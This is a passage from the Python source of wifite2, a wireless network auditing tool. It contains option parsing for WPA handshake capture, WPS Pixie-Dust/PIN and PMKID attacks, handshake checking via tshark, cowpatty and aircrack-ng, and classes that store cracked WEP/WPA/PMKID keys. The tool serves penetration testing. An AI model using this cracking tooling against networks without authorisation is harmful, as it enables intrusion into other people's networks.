                    '{G}%d seconds{W}' % args.wpa_deauth_timeout)

        if args.wpa_attack_timeout:
            cls.wpa_attack_timeout = args.wpa_attack_timeout
            Color.pl('{+} {C}option:{W} will stop WPA handshake capture after ' +
                    '{G}%d seconds{W}' % args.wpa_attack_timeout)

        if args.ignore_old_handshakes:
            cls.ignore_old_handshakes = True
            Color.pl('{+} {C}option:{W} will {O}ignore{W} existing handshakes ' +
                    '(force capture)')

        if args.wpa_handshake_dir:
            cls.wpa_handshake_dir = args.wpa_handshake_dir
            Color.pl('{+} {C}option:{W} will store handshakes to ' +
                    '{G}%s{W}' % args.wpa_handshake_dir)

        if args.wpa_strip_handshake:
            cls.wpa_strip_handshake = True
            Color.pl('{+} {C}option:{W} will {G}strip{W} non-handshake packets')

    @classmethod
    def parse_wps_args(cls, args):
        '''Parses WPS-specific arguments'''
        if args.wps_filter:
            cls.wps_filter = args.wps_filter

        if args.wps_only:
            cls.wps_only = True
            cls.wps_filter = True  # Also only show WPS networks
            Color.pl('{+} {C}option:{W} will *only* attack WPS networks with ' +
                    '{G}WPS attacks{W} (avoids handshake and PMKID)')

        if args.no_wps:
            # No WPS attacks at all
            cls.no_wps = args.no_wps
            cls.wps_pixie = False
            cls.wps_pin = False
            Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} ' +
                    '(Pixie-Dust/PIN) on targets')

        elif args.wps_pixie:
            # WPS Pixie-Dust only
            cls.wps_pixie = True
            cls.wps_pin = False
            Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS Pixie-Dust ' +
                    'attack{W} (no {O}PIN{W}) on targets')

        elif args.wps_no_pixie:
            # WPS PIN only
            cls.wps_pixie = False
            cls.wps_pin = True
            Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS PIN attack{W} ' +
                    '(no {O}Pixie-Dust{W}) on targets')

        if args.use_bully:
            from .tools.bully import Bully
            if not Bully.exists():
                Color.pl('{!} {R}Bully not found. Defaulting to {O}reaver{W}')
                cls.use_bully = False
            else:
                cls.use_bully = args.use_bully
                Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} ' +
                        'for WPS Attacks')

        if args.wps_pixie_timeout:
            cls.wps_pixie_timeout = args.wps_pixie_timeout
            Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after ' +
                    '{O}%d seconds{W}' % args.wps_pixie_timeout)

        if args.wps_fail_threshold:
            cls.wps_fail_threshold = args.wps_fail_threshold
            Color.pl('{+} {C}option:{W} will stop WPS attack after ' +
                    '{O}%d failures{W}' % args.wps_fail_threshold)

        if args.wps_timeout_threshold:
            cls.wps_timeout_threshold = args.wps_timeout_threshold
            Color.pl('{+} {C}option:{W} will stop WPS attack after ' +
                    '{O}%d timeouts{W}' % args.wps_timeout_threshold)

        if args.wps_ignore_lock:
            cls.wps_ignore_lock = True
            Color.pl('{+} {C}option:{W} will {O}ignore{W} WPS lock-outs')

    @classmethod
    def parse_pmkid_args(cls, args):
        if args.use_pmkid_only:
            cls.use_pmkid_only = True
            Color.pl('{+} {C}option:{W} will ONLY use {C}PMKID{W} attack on WPA networks')

        if args.pmkid_timeout:
            cls.pmkid_timeout = args.pmkid_timeout
            Color.pl('{+} {C}option:{W} will wait {G}%d seconds{W} during {C}PMKID{W} capture' % args.pmkid_timeout)

    @classmethod
    def parse_encryption(cls):
        '''Adjusts encryption filter (WEP and/or WPA and/or WPS)'''
        cls.encryption_filter = []
        if cls.wep_filter: cls.encryption_filter.append('WEP')
        if cls.wpa_filter: cls.encryption_filter.append('WPA')
        if cls.wps_filter: cls.encryption_filter.append('WPS')

        if len(cls.encryption_filter) == 3:
            Color.pl('{+} {C}option:{W} targeting {G}all encrypted networks{W}')
        elif len(cls.encryption_filter) == 0:
            # Default to scan all types
            cls.encryption_filter = ['WEP', 'WPA', 'WPS']
        else:
            Color.pl('{+} {C}option:{W} ' +
                     'targeting {G}%s-encrypted{W} networks'
                        % '/'.join(cls.encryption_filter))

    @classmethod
    def parse_wep_attacks(cls):
        '''Parses and sets WEP-specific args (-chopchop, -fragment, etc)'''
        cls.wep_attacks = []
        from sys import argv
        seen = set()
        for arg in argv:
            if arg in seen: continue
            seen.add(arg)
            if arg == '-arpreplay':  cls.wep_attacks.append('replay')
            if arg == '-fragment':   cls.wep_attacks.append('fragment')
            if arg == '-chopchop':   cls.wep_attacks.append('chopchop')
            if arg == '-caffelatte': cls.wep_attacks.append('caffelatte')
            if arg == '-p0841':      cls.wep_attacks.append('p0841')
            if arg == '-hirte':      cls.wep_attacks.append('hirte')

        if len(cls.wep_attacks) == 0:
            # Use all attacks
            cls.wep_attacks = ['replay',
                'fragment',
                'chopchop',
                'caffelatte',
                'p0841',
                'hirte'
            ]
        elif len(cls.wep_attacks) > 0:
            Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks'
                % '{W}, {G}'.join(cls.wep_attacks))


    @classmethod
    def temp(cls, subfile=''):
        ''' Creates and/or returns the temporary directory '''
        if cls.temp_dir is None:
            cls.temp_dir = cls.create_temp()
        return cls.temp_dir + subfile

    @staticmethod
    def create_temp():
        ''' Creates and returns a temporary directory '''
        from tempfile import mkdtemp
        tmp = mkdtemp(prefix='wifite')
        if not tmp.endswith(os.sep):
            tmp += os.sep
        return tmp

    @classmethod
    def delete_temp(cls):
        ''' Remove temp files and folder '''
        if cls.temp_dir is None: return
        if os.path.exists(cls.temp_dir):
            for f in os.listdir(cls.temp_dir):
                os.remove(cls.temp_dir + f)
            os.rmdir(cls.temp_dir)


    @classmethod
    def exit_gracefully(cls, code=0):
        ''' Deletes temp and exist with the given code '''
        cls.delete_temp()
        Macchanger.reset_if_changed()
        from .tools.airmon import Airmon
        if cls.interface is not None and Airmon.base_interface is not None:
            Color.pl('{!} {O}Note:{W} Leaving interface in Monitor Mode!')
            Color.pl('{!} To disable Monitor Mode when finished: ' +
                    '{C}airmon-ng stop %s{W}' % cls.interface)

            # Stop monitor mode
            #Airmon.stop(cls.interface)
            # Bring original interface back up
            #Airmon.put_interface_up(Airmon.base_interface)

        if Airmon.killed_network_manager:
            Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})')
            #Airmon.start_network_manager()

        exit(code)

    @classmethod
    def dump(cls):
        ''' (Colorful) string representation of the configuration '''
        from .util.color import Color

        max_len = 20
        for key in cls.__dict__.keys():
            max_len = max(max_len, len(key))

        result  = Color.s('{W}%s  Value{W}\n' % 'cls Key'.ljust(max_len))
        result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len))

        for (key,val) in sorted(cls.__dict__.items()):
            if key.startswith('__') or type(val) in [classmethod, staticmethod] or val is None:
                continue
            result += Color.s('{G}%s {W} {C}%s{W}\n' % (key.ljust(max_len),val))
        return result

if __name__ == '__main__':
    Configuration.initialize(False)
    print(Configuration.dump())


================================================
FILE: wifite/model/__init__.py
================================================


================================================
FILE: wifite/model/attack.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import time

class Attack(object):
    '''Contains functionality common to all attacks.'''

    target_wait = 60

    def __init__(self, target):
        self.target = target

    def run(self):
        raise Exception('Unimplemented method: run')

    def wait_for_target(self, airodump):
        '''Waits for target to appear in airodump.'''
        start_time = time.time()
        targets = airodump.get_targets(apply_filter=False)
        while len(targets) == 0:
            # Wait for target to appear in airodump.
            if int(time.time() - start_time) > Attack.target_wait:
                raise Exception('Target did not appear after %d seconds, stopping' % Attack.target_wait)
            time.sleep(1)
            targets = airodump.get_targets()
            continue

        # Ensure this target was seen by airodump
        airodump_target = None
        for t in targets:
            if t.bssid == self.target.bssid:
                airodump_target = t
                break

        if airodump_target is None:
            raise Exception(
                'Could not find target (%s) in airodump' % self.target.bssid)

        return airodump_target



================================================
FILE: wifite/model/client.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

class Client(object):
    '''
        Holds details for a 'Client' - a wireless device (e.g. computer)
        that is associated with an Access Point (e.g. router)
    '''

    def __init__(self, fields):
        '''
            Initializes & stores client info based on fields.
            Args:
                Fields - List of strings
                INDEX KEY
                    0 Station MAC (client's MAC address)
                    1 First time seen,
                    2 Last time seen,
                    3 Power,
                    4 # packets,
                    5 BSSID, (Access Point's MAC address)
                    6 Probed ESSIDs
        '''
        self.station =     fields[0].strip()
        self.power   = int(fields[3].strip())
        self.packets = int(fields[4].strip())
        self.bssid   =     fields[5].strip()


    def __str__(self):
        ''' String representation of a Client '''
        result = ''
        for (key,value) in self.__dict__.items():
            result += key + ': ' + str(value)
            result += ', '
        return result


if __name__ == '__main__':
    fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:43:47, 2015-05-27 19:43:47, -67,        2, (not associated) ,HOME-ABCD'.split(',')
    c = Client(fields)
    print('Client', c)


================================================
FILE: wifite/model/handshake.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ..util.process import Process
from ..util.color import Color
from ..tools.tshark import Tshark
from ..tools.pyrit import Pyrit

import re, os

class Handshake(object):

    def __init__(self, capfile, bssid=None, essid=None):
        self.capfile = capfile
        self.bssid = bssid
        self.essid = essid


    def divine_bssid_and_essid(self):
        '''
            Tries to find BSSID and ESSID from cap file.
            Sets this instances 'bssid' and 'essid' instance fields.
        '''

        # We can get BSSID from the .cap filename if Wifite captured it.
        # ESSID is stripped of non-printable characters, so we can't rely on that.
        if self.bssid is None:
            hs_regex = re.compile(r'^.*handshake_\w+_([0-9A-F\-]{17})_.*\.cap$', re.IGNORECASE)
            match = hs_regex.match(self.capfile)
            if match:
                self.bssid = match.group(1).replace('-', ':')

        # Get list of bssid/essid pairs from cap file
        pairs = Tshark.bssid_essid_pairs(self.capfile, bssid=self.bssid)

        if len(pairs) == 0:
            pairs = self.pyrit_handshakes() # Find bssid/essid pairs that have handshakes in Pyrit

        if len(pairs) == 0 and not self.bssid and not self.essid:
            # Tshark and Pyrit failed us, nothing else we can do.
            raise ValueError('Cannot find BSSID or ESSID in cap file %s' % self.capfile)

        if not self.essid and not self.bssid:
            # We do not know the bssid nor the essid
            # TODO: Display menu for user to select from list
            # HACK: Just use the first one we see
            self.bssid = pairs[0][0]
            self.essid = pairs[0][1]
            Color.pl('{!} {O}Warning{W}: {O}Arbitrarily selected ' +
                    '{R}bssid{O} {C}%s{O} and {R}essid{O} "{C}%s{O}"{W}' % (self.bssid, self.essid))

        elif not self.bssid:
            # We already know essid
            for (bssid, essid) in pairs:
                if self.essid == essid:
                    Color.pl('{+} Discovered bssid {C}%s{W}' % bssid)
                    self.bssid = bssid
                    break

        elif not self.essid:
            # We already know bssid
            for (bssid, essid) in pairs:
                if self.bssid.lower() == bssid.lower():
                    Color.pl('{+} Discovered essid "{C}%s{W}"' % essid)
                    self.essid = essid
                    break


    def has_handshake(self):
        if not self.bssid or not self.essid:
            self.divine_bssid_and_essid()

        if len(self.tshark_handshakes()) > 0:   return True
        if len(self.pyrit_handshakes()) > 0:    return True

        # TODO: Can we trust cowpatty & aircrack?
        #if len(self.cowpatty_handshakes()) > 0: return True
        #if len(self.aircrack_handshakes()) > 0: return True

        return False


    def tshark_handshakes(self):
        '''Returns list[tuple] of BSSID & ESSID pairs (ESSIDs are always `None`).'''
        tshark_bssids = Tshark.bssids_with_handshakes(self.capfile, bssid=self.bssid)
        return [(bssid, None) for bssid in tshark_bssids]


    def cowpatty_handshakes(self):
        '''Returns list[tuple] of BSSID & ESSID pairs (BSSIDs are always `None`).'''
        if not Process.exists('cowpatty'):
            return []
        if not self.essid:
            return [] # We need a essid for cowpatty :(

        command = [
            'cowpatty',
            '-r', self.capfile,
            '-s', self.essid,
            '-c' # Check for handshake
        ]

        proc = Process(command, devnull=False)
        for line in proc.stdout().split('\n'):
            if 'Collected all necessary data to mount crack against WPA' in line:
                return [(None, self.essid)]
        return []


    def pyrit_handshakes(self):
        '''Returns list[tuple] of BSSID & ESSID pairs.'''
        return Pyrit.bssid_essid_with_handshakes(
                self.capfile, bssid=self.bssid, essid=self.essid)


    def aircrack_handshakes(self):
        '''Returns tuple (BSSID,None) if aircrack thinks self.capfile contains a handshake / can be cracked'''
        if not self.bssid:
            return []  # Aircrack requires BSSID

        command = 'echo "" | aircrack-ng -a 2 -w - -b %s "%s"' % (self.bssid, self.capfile)
        (stdout, stderr) = Process.call(command)

        if 'passphrase not in dictionary' in stdout.lower():
            return [(self.bssid, None)]
        else:
            return []


    def analyze(self):
        '''Prints analysis of handshake capfile'''
        self.divine_bssid_and_essid()

        if Tshark.exists():
            Handshake.print_pairs(self.tshark_handshakes(),   self.capfile, 'tshark')

        if Pyrit.exists():
            Handshake.print_pairs(self.pyrit_handshakes(),    self.capfile, 'pyrit')

        if Process.exists('cowpatty'):
            Handshake.print_pairs(self.cowpatty_handshakes(), self.capfile, 'cowpatty')

        Handshake.print_pairs(self.aircrack_handshakes(), self.capfile, 'aircrack')


    def strip(self, outfile=None):
        # XXX: This method might break aircrack-ng, use at own risk.
        '''
            Strips out packets from handshake that aren't necessary to crack.
            Leaves only handshake packets and SSID broadcast (for discovery).
            Args:
                outfile - Filename to save stripped handshake to.
                          If outfile==None, overwrite existing self.capfile.
        '''
        if not outfile:
            outfile = self.capfile + '.temp'
            replace_existing_file = True
        else:
            replace_existing_file = False

        cmd = [
            'tshark',
            '-r', self.capfile, # input file
            '-Y', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol', # filter
            '-w', outfile # output file
        ]
        proc = Process(cmd)
        proc.wait()
        if replace_existing_file:
            from shutil import copy
            copy(outfile, self.capfile)
            os.remove(outfile)
            pass


    @staticmethod
    def print_pairs(pairs, capfile, tool=None):
        '''
            Prints out BSSID and/or ESSID given a list of tuples (bssid,essid)
        '''
        tool_str = ''
        if tool is not None:
            tool_str = '{C}%s{W}: ' % tool.rjust(8)

        if len(pairs) == 0:
            Color.pl('{!} %s.cap file {R}does not{O} contain a valid handshake{W}' % (tool_str))
            return

        for (bssid, essid) in pairs:
            out_str = '{+} %s.cap file {G}contains a valid handshake{W} for' % tool_str
            if bssid and essid:
                Color.pl('%s {G}%s{W} ({G}%s{W})' % (out_str, bssid, essid))
            elif bssid:
                Color.pl('%s {G}%s{W}' % (out_str, bssid))
            elif essid:
                Color.pl('%s ({G}%s{W})' % (out_str, essid))


    @staticmethod
    def check():
        ''' Analyzes .cap file(s) for handshake '''
        from ..config import Configuration
        if Configuration.check_handshake == '<all>':
            Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n')
            try:
                capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]
            except OSError as e:
                capfiles = []
            if len(capfiles) == 0:
                Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n')
        else:
            capfiles = [Configuration.check_handshake]

        for capfile in capfiles:
            Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)
            if not os.path.exists(capfile):
                Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)
                return
            hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)
            hs.analyze()
            Color.pl('')


if __name__ == '__main__':
    print('With BSSID & ESSID specified:')
    hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi')
    hs.analyze()
    print('has_hanshake() =', hs.has_handshake())

    print('\nWith BSSID, but no ESSID specified:')
    hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18')
    hs.analyze()
    print('has_hanshake() =', hs.has_handshake())

    print('\nWith ESSID, but no BSSID specified:')
    hs = Handshake('./tests/files/handshake_has_1234.cap', essid='YZWifi')
    hs.analyze()
    print('has_hanshake() =', hs.has_handshake())

    print('\nWith neither BSSID nor ESSID specified:')
    hs = Handshake('./tests/files/handshake_has_1234.cap')
    try:
        hs.analyze()
        print('has_hanshake() =', hs.has_handshake())
    except Exception as e:
        Color.pl('{O}Error during Handshake.analyze(): {R}%s{W}' % e)


================================================
FILE: wifite/model/pmkid_result.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ..util.color import Color
from .result import CrackResult

class CrackResultPMKID(CrackResult):
    def __init__(self, bssid, essid, pmkid_file, key):
        self.result_type = 'PMKID'
        self.bssid = bssid
        self.essid = essid
        self.pmkid_file = pmkid_file
        self.key = key
        super(CrackResultPMKID, self).__init__()

    def dump(self):
        if self.essid:
            Color.pl('{+} %s: {C}%s{W}' %
                ('Access Point Name'.rjust(19), self.essid))
        if self.bssid:
            Color.pl('{+} %s: {C}%s{W}' %
                ('Access Point BSSID'.rjust(19), self.bssid))
        Color.pl('{+} %s: {C}%s{W}' %
            ('Encryption'.rjust(19), self.result_type))
        if self.pmkid_file:
            Color.pl('{+} %s: {C}%s{W}' %
                ('PMKID File'.rjust(19), self.pmkid_file))
        if self.key:
            Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
        else:
            Color.pl('{!} %s  {O}key unknown{W}' % ''.rjust(19))

    def print_single_line(self, longest_essid):
        self.print_single_line_prefix(longest_essid)
        Color.p('{G}%s{W}' % 'PMKID'.ljust(5))
        Color.p('  ')
        Color.p('Key: {G}%s{W}' % self.key)
        Color.pl('')

    def to_dict(self):
        return {
            'type'  : self.result_type,
            'date'  : self.date,
            'essid' : self.essid,
            'bssid' : self.bssid,
            'key'   : self.key,
            'pmkid_file' : self.pmkid_file
        }

if __name__ == '__main__':
    w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'abcd1234')
    w.dump()

    w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'Key')
    print('\n')
    w.dump()
    w.save()
    print(w.__dict__['bssid'])




================================================
FILE: wifite/model/result.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ..util.color import Color
from ..config import Configuration

import os
import time
from json import loads, dumps

class CrackResult(object):
    ''' Abstract class containing results from a crack session '''

    # File to save cracks to, in PWD
    cracked_file = Configuration.cracked_file

    def __init__(self):
        self.date = int(time.time())
        self.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.date))

    def dump(self):
        raise Exception('Unimplemented method: dump()')

    def to_dict(self):
        raise Exception('Unimplemented method: to_dict()')

    def print_single_line(self, longest_essid):
        raise Exception('Unimplemented method: print_single_line()')

    def print_single_line_prefix(self, longest_essid):
        essid = self.essid if self.essid else 'N/A'
        Color.p('{W} ')
        Color.p('{C}%s{W}' % essid.ljust(longest_essid))
        Color.p('  ')
        Color.p('{GR}%s{W}' % self.bssid.ljust(17))
        Color.p('  ')
        Color.p('{D}%s{W}' % self.readable_date.ljust(19))
        Color.p('  ')

    def save(self):
        ''' Adds this crack result to the cracked file and saves it. '''
        name = CrackResult.cracked_file
        saved_results = []
        if os.path.exists(name):
            with open(name, 'r') as fid:
                text = fid.read()
            try:
                saved_results = loads(text)
            except Exception as e:
                Color.pl('{!} error while loading %s: %s' % (name, str(e)))

        # Check for duplicates
        this_dict = self.to_dict()
        this_dict.pop('date')
        for entry in saved_results:
            this_dict['date'] = entry.get('date')
            if entry == this_dict:
                # Skip if we already saved this BSSID+ESSID+TYPE+KEY
                Color.pl('{+} {C}%s{O} already exists in {G}%s{O}, skipping.' % (
                    self.essid, Configuration.cracked_file))
                return

        saved_results.append(self.to_dict())
        with open(name, 'w') as fid:
            fid.write(dumps(saved_results, indent=2))
        Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'
            % (name, len(saved_results)))

    @classmethod
    def display(cls):
        ''' Show cracked targets from cracked file '''
        name = cls.cracked_file
        if not os.path.exists(name):
            Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)
            return

        with open(name, 'r') as fid:
            cracked_targets = loads(fid.read())

        if len(cracked_targets) == 0:
            Color.pl('{!} {R}no results found in {O}%s{W}' % name)
            return

        Color.pl('\n{+} Displaying {G}%d{W} cracked target(s) from {C}%s{W}\n' % (
            len(cracked_targets), name))

        results = sorted([cls.load(item) for item in cracked_targets], key=lambda x: x.date, reverse=True)
        longest_essid = max([len(result.essid or 'ESSID') for result in results])

        # Header
        Color.p('{D} ')
        Color.p('ESSID'.ljust(longest_essid))
        Color.p('  ')
        Color.p('BSSID'.ljust(17))
        Color.p('  ')
        Color.p('DATE'.ljust(19))
        Color.p('  ')
        Color.p('TYPE'.ljust(5))
        Color.p('  ')
        Color.p('KEY')
        Color.pl('{D}')
        Color.p(' ' + '-' * (longest_essid + 17 + 19 + 5 + 11 + 12))
        Color.pl('{W}')
        # Results
        for result in results:
            result.print_single_line(longest_essid)
        Color.pl('')


    @classmethod
    def load_all(cls):
        if not os.path.exists(cls.cracked_file): return []
        with open(cls.cracked_file, 'r') as json_file:
            json = loads(json_file.read())
        return json

    @staticmethod
    def load(json):
        ''' Returns an instance of the appropriate object given a json instance '''
        if json['type'] == 'WPA':
            from .wpa_result import CrackResultWPA
            result = CrackResultWPA(json['bssid'],
                                    json['essid'],
                                    json['handshake_file'],
                                    json['key'])
        elif json['type'] == 'WEP':
            from .wep_result import CrackResultWEP
            result = CrackResultWEP(json['bssid'],
                                    json['essid'],
                                    json['hex_key'],
                                    json['ascii_key'])

        elif json['type'] == 'WPS':
            from .wps_result import CrackResultWPS
            result = CrackResultWPS(json['bssid'],
                                    json['essid'],
                                    json['pin'],
                                    json['psk'])

        elif json['type'] == 'PMKID':
            from .pmkid_result import CrackResultPMKID
            result = CrackResultPMKID(json['bssid'],
                                      json['essid'],
                                      json['pmkid_file'],
                                      json['key'])
        result.date = json['date']
        result.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.date))
        return result

if __name__ == '__main__':
    # Deserialize WPA object
    Color.pl('\nCracked WPA:')
    json = loads('{"bssid": "AA:BB:CC:DD:EE:FF", "essid": "Test Router", "key": "Key", "date": 1433402428, "handshake_file": "hs/capfile.cap", "type": "WPA"}')
    obj = CrackResult.load(json)
    obj.dump()

    # Deserialize WEP object
    Color.pl('\nCracked WEP:')
    json = loads('{"bssid": "AA:BB:CC:DD:EE:FF", "hex_key": "00:01:02:03:04", "ascii_key": "abcde", "essid": "Test Router", "date": 1433402915, "type": "WEP"}')
    obj = CrackResult.load(json)
    obj.dump()

    # Deserialize WPS object
    Color.pl('\nCracked WPS:')
    json = loads('{"psk": "the psk", "bssid": "AA:BB:CC:DD:EE:FF", "pin": "01234567", "essid": "Test Router", "date": 1433403278, "type": "WPS"}')
    obj = CrackResult.load(json)
    obj.dump()


================================================
FILE: wifite/model/target.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ..util.color import Color

import re


class WPSState:
    NONE, UNLOCKED, LOCKED, UNKNOWN = range(0, 4)


class Target(object):
    '''
        Holds details for a 'Target' aka Access Point (e.g. router).
    '''

    def __init__(self, fields):
        '''
            Initializes & stores target info based on fields.
            Args:
                Fields - List of strings
                INDEX KEY             EXAMPLE
                    0 BSSID           (00:1D:D5:9B:11:00)
                    1 First time seen (2015-05-27 19:28:43)
                    2 Last time seen  (2015-05-27 19:28:46)
                    3 channel         (6)
                    4 Speed           (54)
                    5 Privacy         (WPA2)
                    6 Cipher          (CCMP TKIP)
                    7 Authentication  (PSK)
                    8 Power           (-62)
                    9 beacons         (2)
                    10 # IV           (0)
                    11 LAN IP         (0.  0.  0.  0)
                    12 ID-length      (9)
                    13 ESSID          (HOME-ABCD)
                    14 Key            ()
        '''
        self.bssid      =     fields[0].strip()
        self.channel    =     fields[3].strip()

        self.encryption =     fields[5].strip()
        if 'WPA' in self.encryption:
            self.encryption = 'WPA'
        elif 'WEP' in self.encryption:
            self.encryption = 'WEP'
        if len(self.encryption) > 4:
            self.encryption = self.encryption[0:4].strip()

        self.power      = int(fields[8].strip())
        if self.power < 0:
            self.power += 100

        self.beacons    = int(fields[9].strip())
        self.ivs        = int(fields[10].strip())

        self.essid_known = True
        self.essid_len   = int(fields[12].strip())
        self.essid       =     fields[13]
        if self.essid == '\\x00' * self.essid_len or \
                self.essid == 'x00' * self.essid_len or \
                self.essid.strip() == '':
            # Don't display '\x00...' for hidden ESSIDs
            self.essid = None # '(%s)' % self.bssid
            self.essid_known = False

        self.wps = WPSState.UNKNOWN

        self.decloaked = False # If ESSID was hidden but we decloaked it.

        self.clients = []

        self.validate()

    def validate(self):
        ''' Checks that the target is valid. '''
        if self.channel == '-1':
            raise Exception('Ignoring target with Negative-One (-1) channel')

        # Filter broadcast/multicast BSSIDs, see https://github.com/derv82/wifite2/issues/32
        bssid_broadcast = re.compile(r'^(ff:ff:ff:ff:ff:ff|00:00:00:00:00:00)$', re.IGNORECASE)
        if bssid_broadcast.match(self.bssid):
            raise Exception('Ignoring target with Broadcast BSSID (%s)' % self.bssid)

        bssid_multicast = re.compile(r'^(01:00:5e|01:80:c2|33:33)', re.IGNORECASE)
        if bssid_multicast.match(self.bssid):
            raise Exception('Ignoring target with Multicast BSSID (%s)' % self.bssid)

    def to_str(self, show_bssid=False):
        '''
            *Colored* string representation of this Target.
            Specifically formatted for the 'scanning' table view.
        '''

        max_essid_len = 24
        essid = self.essid if self.essid_known else '(%s)' % self.bssid
        # Trim ESSID (router name) if needed
        if len(essid) > max_essid_len:
            essid = essid[0:max_essid_len-3] + '...'
        else:
            essid = essid.rjust(max_essid_len)

        if self.essid_known:
            # Known ESSID
            essid = Color.s('{C}%s' % essid)
        else:
            # Unknown ESSID
            essid = Color.s('{O}%s' % essid)

        # Add a '*' if we decloaked the ESSID
        decloaked_char = '*' if self.decloaked else ' '
        essid += Color.s('{P}%s' % decloaked_char)

        if show_bssid:
            bssid = Color.s('{O}%s  ' % self.bssid)
        else:
            bssid = ''

        channel_color = '{G}'
        if int(self.channel) > 14:
            channel_color = '{C}'
        channel = Color.s('%s%s' % (channel_color, str(self.channel).rjust(3)))

        encryption = self.encryption.rjust(4)
        if 'WEP' in encryption:
            encryption = Color.s('{G}%s' % encryption)
        elif 'WPA' in encryption:
            encryption = Color.s('{O}%s' % encryption)

        power = '%sdb' % str(self.power).rjust(3)
        if self.power > 50:
            color ='G'
        elif self.power > 35:
            color = 'O'
        else:
            color = 'R'
        power = Color.s('{%s}%s' % (color, power))

        if self.wps == WPSState.UNLOCKED:
            wps = Color.s('{G} yes')
        elif self.wps == WPSState.NONE:
            wps = Color.s('{O}  no')
        elif self.wps == WPSState.LOCKED:
            wps = Color.s('{R}lock')
        elif self.wps == WPSState.UNKNOWN:
            wps = Color.s('{O} n/a')

        clients = '       '
        if len(self.clients) > 0:
            clients = Color.s('{G}  ' + str(len(self.clients)))

        result = '%s  %s%s  %s  %s  %s  %s' % (
                essid, bssid, channel, encryption, power, wps, clients)
        result += Color.s('{W}')
        return result


if __name__ == '__main__':
    fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',')
    t = Target(fields)
    t.clients.append('asdf')
    t.clients.append('asdf')
    print(t.to_str())



================================================
FILE: wifite/model/wep_result.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ..util.color import Color
from .result import CrackResult

import time

class CrackResultWEP(CrackResult):
    def __init__(self, bssid, essid, hex_key, ascii_key):
        self.result_type = 'WEP'
        self.bssid     = bssid
        self.essid     = essid
        self.hex_key   = hex_key
        self.ascii_key = ascii_key
        super(CrackResultWEP, self).__init__()

    def dump(self):
        if self.essid:
            Color.pl('{+}      ESSID: {C}%s{W}' % self.essid)
        Color.pl('{+}      BSSID: {C}%s{W}' % self.bssid)
        Color.pl('{+} Encryption: {C}%s{W}' % self.result_type)
        Color.pl('{+}    Hex Key: {G}%s{W}' % self.hex_key)
        if self.ascii_key:
            Color.pl('{+}  Ascii Key: {G}%s{W}' % self.ascii_key)

    def print_single_line(self, longest_essid):
        self.print_single_line_prefix(longest_essid)
        Color.p('{G}%s{W}' % 'WEP'.ljust(5))
        Color.p('  ')
        Color.p('Hex: {G}%s{W}' % self.hex_key.replace(':', ''))
        if self.ascii_key:
            Color.p(' (ASCII: {G}%s{W})' % self.ascii_key)
        Color.pl('')

    def to_dict(self):
        return {
            'type'      : self.result_type,
            'date'      : self.date,
            'essid'     : self.essid,
            'bssid'     : self.bssid,
            'hex_key'   : self.hex_key,
            'ascii_key' : self.ascii_key
        }

if __name__ == '__main__':
    crw = CrackResultWEP('AA:BB:CC:DD:EE:FF', 'Test Router', '00:01:02:03:04', 'abcde')
    crw.dump()
    crw.save()



================================================
FILE: wifite/model/wpa_result.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ..util.color import Color
from .result import CrackResult

class CrackResultWPA(CrackResult):
    def __init__(self, bssid, essid, handshake_file, key):
        self.result_type = 'WPA'
        self.bssid = bssid
        self.essid = essid
        self.handshake_file = handshake_file
        self.key = key
        super(CrackResultWPA, self).__init__()

    def dump(self):
        if self.essid:
            Color.pl('{+} %s: {C}%s{W}' %
                ('Access Point Name'.rjust(19), self.essid))
        if self.bssid:
            Color.pl('{+} %s: {C}%s{W}' %
                ('Access Point BSSID'.rjust(19), self.bssid))
        Color.pl('{+} %s: {C}%s{W}' %
            ('Encryption'.rjust(19), self.result_type))
        if self.handshake_file:
            Color.pl('{+} %s: {C}%s{W}' %
                ('Handshake File'.rjust(19), self.handshake_file))
        if self.key:
            Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
        else:
            Color.pl('{!} %s  {O}key unknown{W}' % ''.rjust(19))

    def print_single_line(self, longest_essid):
        self.print_single_line_prefix(longest_essid)
        Color.p('{G}%s{W}' % 'WPA'.ljust(5))
        Color.p('  ')
        Color.p('Key: {G}%s{W}' % self.key)
        Color.pl('')

